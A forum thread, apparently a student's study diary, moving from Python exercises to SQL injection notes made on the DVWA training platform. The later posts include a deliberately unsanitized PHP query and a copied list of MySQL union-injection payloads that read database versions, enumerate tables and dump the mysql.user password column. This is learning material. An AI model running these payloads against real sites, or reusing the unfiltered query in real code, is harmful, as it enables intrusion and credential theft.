安全矩阵

 找回密码
 立即注册
搜索
楼主: Pluto

李佳瑞学习日记

[复制链接]

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-13 23:07:26 | 显示全部楼层
打算再从后往前复习一遍,今天又看了python中的模块,找到以下例子练习
1、新的方法
class Person(object):
    # 什么时候创建的不知道?
    # new可以追踪创建的状态, 必须有返回值
    # 创建对象的方法 相当与产房
    def __new__(cls, *args, **kwargs):
        print('__new__')
        return object.__new__(cls)

    # 初始化每次创建对象的时候执行
    # 上户口
    def __init__(self, name, age):
        print("__init__")
        self.name = name
        self.age = age

    #  类的描述信息 打印类的时候调用
    def __str__(self):
        return '类的聊熟信息'

    #  程序结束汇总执行del方法调用
    #  销毁
    def __del__(self):
        print('__del__')
        print('good_bye!')


p = Person('张三', 20)
2、单类模式

class HuiShouZhan(object):
    """单类模式
       只创建一个对象,
    """

    __instance = None
    # 我们将对象存到instance属性中
    # 如果instance没有就创建 有就直接返回
    flg = True

    def __new__(cls, *args, **kwargs):
        if not cls.__instance:  # 如果instance没有
            cls.__instance = object.__new__(cls)
        return cls.__instance

    def __init__(self):
        """特殊的单例 init值执行一次
        """
        if HuiShouZhan.flg:
            print('__init__')
            HuiShouZhan.flg = False
        self.name = "回收站"


h1 = HuiShouZhan()
h2 = HuiShouZhan()
h3 = HuiShouZhan()
print(id(h1))  # 2070375656
print(id(h2))  # 2070375656
print(id(h3))

# num = None
# print(type(None))  # <class 'NoneType'>
# print(id(num))
# num1 = None
# print(id(num1))
# num2 = None
# print(id(num2))
3、异常
# print(num)

# try:
#     # 尝试去执行的代码
#     open('123.txt')
# except:
#     # 捕获错误
#     print('except我被执行了')

# print(1)

# try:
#     # 尝试去执行的代码
#     print('try1')
#     open('123.txt')
#     print('try')
# except Exception as e:
#     # 如何捕获到它真真的错误信息 使用excepiton
#     print('except我被执行了错误信息:%s' % e)
#
# print(1)


# eles

# try:
#     # print(num)
#     print('try')
# except Exception as e:
#     print(e)
#
# else:
#     print('else')


#  异常的传递性
# try:
#     try:
#         print(num)
#     except Exception as e:
#         print('里面的except', e)
# except:
#     print('except')

# 函数值的嵌套
# def func1():
#     print(num)
#
#
# def func2():
#     # 方法2
#     try:
#         func1()
#     except Exception as e:
#         print(e)
#
# func2()


# 方法1
# try:
#     func2()
# except Exception as e:
#     print(e)


# try:
#     pass
# except Exception sd e:
#     pass

# try:
#     print(num)
# finally:
#     # 不管上面有没有异常,我必须执行
#     print('finally')
#
# print(1)

# NameError
返回来看还是很不熟悉,代码几乎是抄下来的。要多练习
回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-14 23:17:50 | 显示全部楼层
DAY94
复习
自定义异常的信息
class AgeError(Exception):
    def __init__(self, age):
        self.age = age

    def __str__(self):
        return '年龄应该在1-120,您输入的年龄为:%s' % self.age


class StudentAge(object):
    def __init__(self, age):
        if age >= 120 or age < 1:
            # 方法1
            # 使用定义的类来抛出自定义的异常
            # raise AgeError(age)
            # 方法2
            raise Exception('年龄应该在1-120,您输入的年龄为:%s' % age)
        self.age = age


StudentAge(200)
模板的自定义
# 求三个数的平均值
# 如何去定义一个模块


class HMTools(object):
    """求三个数平均值的工具"""

    # 单例
    __instance = None

    def __new__(cls, *args, **kwargs):
        if not cls.__instance:
            cls.__instance = object.__new__(cls)
        return cls.__instance

    def agv(self, num1, num2, num3):
        return (num1 + num2 + num3) / 3


# 模仿代码的一个入口, 靠自觉
def main():
    """调度函数"""
    HMTools().agv(10, 20, 30)


if __name__ == '__main__':
    main()


模块中all的应用
# 求三个数的平均值
# 如何去定义一个模块


class HMTools(object):
    """求三个数平均值的工具"""

    # 单例
    __instance = None

    def __new__(cls, *args, **kwargs):
        if not cls.__instance:
            cls.__instance = object.__new__(cls)
        return cls.__instance

    def agv(self, num1, num2, num3):
        return (num1 + num2 + num3) / 3


# 模仿代码的一个入口, 靠自觉
def main():
    """调度函数"""
    HMTools().agv(10, 20, 30)


if __name__ == '__main__':
    main()
回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-15 23:35:26 | 显示全部楼层
# 求三个数的平均值
# 如何去定义一个模块

__all__ = ['func']  # 只有在all里面的才能被(from XX.py import * )导入


def func():
    print('我是test_code里面的函数')


num = 10


class HMTools(object):
    """求三个数平均值的工具"""

    # 单例
    __instance = None

    def __new__(cls, *args, **kwargs):
        if not cls.__instance:
            cls.__instance = object.__new__(cls)
        return cls.__instance

    def agv(self, num1, num2, num3):
        return (num1 + num2 + num3) / 3


# 模仿代码的一个入口, 靠自觉
def main():
    """调度函数"""
    HMTools().agv(10, 20, 30)


if __name__ == '__main__':
main()



# from tests2 import test_code2
# from 包 import 模块
# from tests2.test_code2 import num
# from tests2.test_code2 import *
# from tests2.test_code3 import *
# from tests2 import *
# print(num)

# 变量-->函数-->类-->.py文件(模块)-->包-->项目_-

# 导包
import test_code_main


test_code_main.func(1)
回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-16 22:58:21 | 显示全部楼层
这几天课和任务比较多,只能简单得练习一下,记录自己的学习
递归函数练习:
def func_one(num):
    """递归求积"""
    # 3  3 * 2!
    # 2  2 * 1!
    # 1  1
    if num == 1:
        return 1
    elif num > 1:
        ret = func_one(num-1) * num
        return ret


print(func_one(998))
匿名函数:
# stus.sort(key=lambda x: x['age'])

# sorted
# stus_sorted = sorted(stus, key=lambda x: x['name'])
# print(stus)
# print(stus_sorted)


# 下面的代码演示使用没有实际意义
# def func(data):
#     for i in stus:
#         print(i['name'])
#
#
# func(stus)


# 扩展 字典排序
# 面试题
dict_info = {"name": "张三", "age": 20, 'mobile': 13333332255}
# 如何按照字典的k/v进行排序
print(dict_info.items())  # dict_items([('name', '张三'), ('age', 20), ('mobile', 13333332255)])
# dict_info_sorted = sorted(dict_info.items(), key=lambda x: x[0])
# print(dict_info_sorted)
还写了一个用海伦公式求面积得函数
def hailun():
    a = float(input('输入三角形第一边长: '))
    b = float(input('输入三角形第二边长: '))
    c = float(input('输入三角形第三边长: '))

    if a+b<c or a+c<b or b+c<a:
        print('0.00')

# 计算半周长
    else:
        s = (a + b + c) / 2

# 计算面积

        area = (s*(s-a)*(s-b)*(s-c)) ** 0.5

        print('三角形面积为 %0.2f' %area)
if __name__ == '__main__':
    hailun()
回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-17 23:27:19 | 显示全部楼层
语言大体上还是差不多得 好好血海一个学其他得应该也比较容易,锁一我反复回来复习
文件得常规操作
一、
# 打开
open_file = open('test_two.txt', 'r')

# # 在打开的文件写入数据
# open_file.write('hello world')

# 读取数据 不加参数(全部)  可以指定读取的字节长度
file_data = open_file.read(4)
print(file_data)

# readlines  读取的数据放入列表
# file_data = open_file.readlines()

# readline 每次只读取1行(默认只读第一行)
file_data_one = open_file.readline()
file_data_two = open_file.readline()
# print(file_data_one)
# print('--------')
# print(file_data_two)

# 关闭
close_file = open_file.close()


"""
1 用户输入文件的名字
2 我们打开此文件
3 读取文件的内容
4 创建附件
5 将读取的内容写入附件
6 关闭
"""
# 1
file_name = input("请输入您要操作的文件的名字")

# 2
old_file = open(file_name, 'r')

# 3
old_file_data = old_file.read(3)

# 4 名字的拼接
file_name_flag = file_name.rfind('.')  # 得到后缀的下标
new_file_name = file_name[:file_name_flag] + "复件" + file_name[file_name_flag:]
new_file = open(new_file_name, 'w')

# 5
new_file.write(old_file_data)

old_file.close()
new_file.close()


# 1 获取当前的位置
# 2 定位
# # tell  获取当前的位置
#
# # 1 打开文件
# f = open('test_three', 'r')
#
# # 2 读取内容
# file_data = f.read(3)
#
# # 查看当前光标的位置
# position = f.tell()
# print('当前光标的位置%s' % position)
#
# # 关闭文件
# f.close()


# 定位 seek
# 打开文件
f = open('test_three', 'r')
回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-18 23:33:30 | 显示全部楼层
今天主要看SQL注入的内容,我首先去了解了SQL注入的含义、内容和特点,刚刚接触 不是很好消化 就和刚学python时候一个感觉,看能看懂他在说什么,但是不是很理解。
今天收获  
首先是了解SQL的内容,还有SQL注入所需要的条件
这是教程中的例子,很好理解:

A    www.test.com/index.php?id=1
B    www.test.com/index.php
C    www.test.com/index.php?id=1&parm=3


这里,A把参数值1赋值给参数‘id’,并且传到index.php的网页中,达到相应的效果。那么,就有可能存在注入漏洞。同样的道理,C也有可能存在注入漏洞,因为其解析了两个参数值。而B只是对一个网页进行简单的访问,并没有涉及到参数的传递。
根据教程 搭建了DVWA平台 进行理解
$id = $_GET['id'];      
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

    // 执行SQL语句,在这两句代码中,就是用户提交的id未经任何过滤,直接赋值到SQL语句中
如果输入1‘ and 1=1 order by 4 #,那么上述代码中的SQL语句就会变为
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 order by 4 #'";
(像这些就不是很明白,不知道为什么会变成这样)
之前好像看过SQL语句,但是现在几乎全忘了
其他的也看了很多,有很多像这样的就是能看到他说什么,但是不清楚具体什么意思。
想照着例子来实际练习一下,但是在下载工具的时候,中病毒了。。
今天的不多,但是一直在操作,虽然什么也没弄出来,但还是花了好多时间。慢慢看应该能看懂把。
回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-19 22:45:34 | 显示全部楼层
今天开始正式看SQL注入的内容了 ,一边看一边查得 查得内容就记在这里了方便以后看
下面的有很多现在接收不了 先记下以后看


下面是今天看的例子中我觉得需要记得问题
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps1.jpgfile:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps2.jpgfile:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps3.jpg 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ # 只有换个处不同  应该一个是数据库表名,一个是表名的意思
最后这个
1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #应该是利用前面查得的表名进行进一步查找,获取详细内容
下面有个详细教程
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps4.jpg
为什么服务器返回错误 就是没有处理    (这是我现在刚学时的问题)
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps5.jpg
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps6.jpg


是我们猜测的SELECT语句是这样的
SELECT First name,Surname
FROM
WHEREid='$_GET(xxxx)';
然后后面的和前面差不多了



mysql -- 手工注入
------------------[index1.php源码]------------------
<form action="index2.php" method="get">
ID:
<input type=text name="id" />
<input type=submit>
------------------[index2.php源码]------------------
<?php
$con = mysql_connect("localhost","root","fuckyou");
mysql_select_db("mytestdb", $con);
$id=$_GET["id"];
$sql="select * from testtab where id=$id";
echo $sql."<br/>";
$rst=mysql_query($sql);
$tmp=mysql_fetch_array($rst);
echo $tmp["name"];
mysql_close($con);
?>
[数据库:mytestdb,表名testtab]------------------
id   name
1    jack
2    Nike
3    Mery
4    Bomb
查看mysql基本信息
and 1=2 union select 1,version() ----- 查看数据库版本
and 1=2 union select 1,database() ---- 查看当前使用的数据库
and 1=2 union select 1,user() ------查看当前数据库用户
and ord(mid(user(),1,1))=114 ------ 判断用户是否为root
看到这里 总算明白昨天看的内容了
暴字段内容
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名
and 1=1 union select 1,2
select * from db WHERE id= x and 1=1 Union select 1,2,3,4,5----------------暴字段位置
and 1=2 union select 1,2
select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5----------------暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*暴操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
and 1=2 union select 1,load_file(0x433a5c78616d70705c6874646f63735c696e6465782e68746d6c) --- C:\boot.ini
建议熟悉Mysql 默认数据库information_schema 中的表
[information_schema.SCHEMATA]    -------SCHEMA_NAME 所有数据库名
[information_schema.TABLES]      -------TABLE_NAME 所有表名
                                 -------TABLE_SCHEMA 数据库名
[information_schema.COLUMNS]     -------COLUMN_NAME 所有字段名
                                 -------TABLE_SCHEMA 数据库名

[查询所有库]  --------select SCHEMA_NAME from information_schema.SCHEMATA;
[查询所有表]  --------select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES;
[查询所有字段]--------select COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 0x75736572
暴库 (mysql>5.0,5.0 以后的版本才有information_schema, information_schema,存储着mysql 的所有数据库和表结构信息
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 ---- 第一个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1 ---- 第二个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2 ---- 第三个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3 ---- 第四个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4,4 ---- 第五个数据库暴出所有库:
and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA暴表
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=数据库名(十六进制) limit 0,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 0,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 1,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 2,2
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 3,3暴出所有表
and 1=2 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c暴字段
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=表明(十六进制) limit 0,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 0,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 1,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 2,2
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 3,3
Mysql数据库user表
and 1=2 union select 1,group_concat(Host,User,Password) from mysql.user
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps7.jpg
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps8.jpgfile:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps9.jpgfile:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps10.jpg

回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-20 23:45:44 | 显示全部楼层
今天还是先了解SQL注入,我觉得自己清楚原理之后,才能更好地学习
理解SQL注入,下面有一个比较好的例子:
假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL语句。
从看雪上找了个视频看了一下

查询:user 表名称   id = 1 记录条件 1 是参数(攻击者不会按照程序员的想法做,一般会加一些字符)
更新:id = 1 可以是更新条件 daxia可以是更新内容
注入主要是 用户的参数改变了程序的结构、

视频主要通过对比开发者 和网络安全者的不同思维来讲解 还是很清晰的
而且我现在明白了  有or的时候 即使前面的数据错误后面的正确 也可以进去,而这个错误的数据 就插入了进去 (不知道理解的对不对)(有框架的话就不行)
最快的检测方法就是 看url上面有没有数字的参数  在后面加一个单引号 看看有没有做过滤 如果没有过滤就会报错
还有一个工具sqlmap
今天有点晚,了就不熬夜了。明天在看。
回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-22 00:04:03 | 显示全部楼层
今天我去看了一下曾玉芳的学习日记,感触很大。首先是感受到了明显的差距,同样的起点,然而人家现在已经超出我很多了。她的日记了,有很多内容都是我看不懂的,这是需要我反思的,说明我不如人家努力。
昨天买了新电脑,今天在那个叔叔的指导下,学会了配置电脑。对电脑更了解了一些。
今天安装了sqlmap ,也遇到了一些问题。我电脑上的python是3.7版本的,而这个软件只能使用3 一下的,然后参照曾玉芳的,我也下载了anaconda。
接着就是通过命令窗口救火python2.7  接着打开sqlmap 就完成了安装
之前由于数据库出现了问题,无法连接,因此老师上周留的任务一直没有完成,因为自己瞎搞,觉得好玩 又自己安装了一个数据库。打开激活以后和xampp的冲突了,最后两个都没办法用了。
前几天花了很多时间解决这个问题,一直百度,一直查,路径也改了好几次,还是不行,就是从下午三点 弄到了六七点还没弄好就很气 。
今天终于把这个问题解决了,但是PHP连接数据库 以及 动态网页都还没怎么看,和他们拉下了。以后一定要好努力补回来。
回复

使用道具 举报

7

主题

139

帖子

586

积分

高级会员

Rank: 4

积分
586
 楼主| 发表于 2020-4-22 23:39:18 | 显示全部楼层
之前因为电脑数据库出了问题,关于数据库的内容一直只能看理论,昨天把问题解决后今天也开始了实践。(关于SQL注入的内容这几天知识看,等实践的时候再写)
虽然我的速度满了很多 但还是有些好处的 我现在对这些很熟悉 几乎不用想就知道怎么做
今天首先是用命令行进入和操作了数据库
我的MySQL再E盘,之前没有 使用E : 转换路径,所以怎么也进不去
我的步骤如下:
E:
cd E:\xampp\mysql\bin 这就进入了文件的位置
Mysql -uroot -p
进入数据库 密码为空
接着试着查了一下版本,发现可以运行 没有问题

然后通过nvicat引入文件来创建表 因为这样比较简单

表创建好了  查询界面 之前就写好了 现在就差PHP连接数据库了 这个明天玩成。并且进行一下注入练习。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-4-15 22:40 , Processed in 0.026299 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表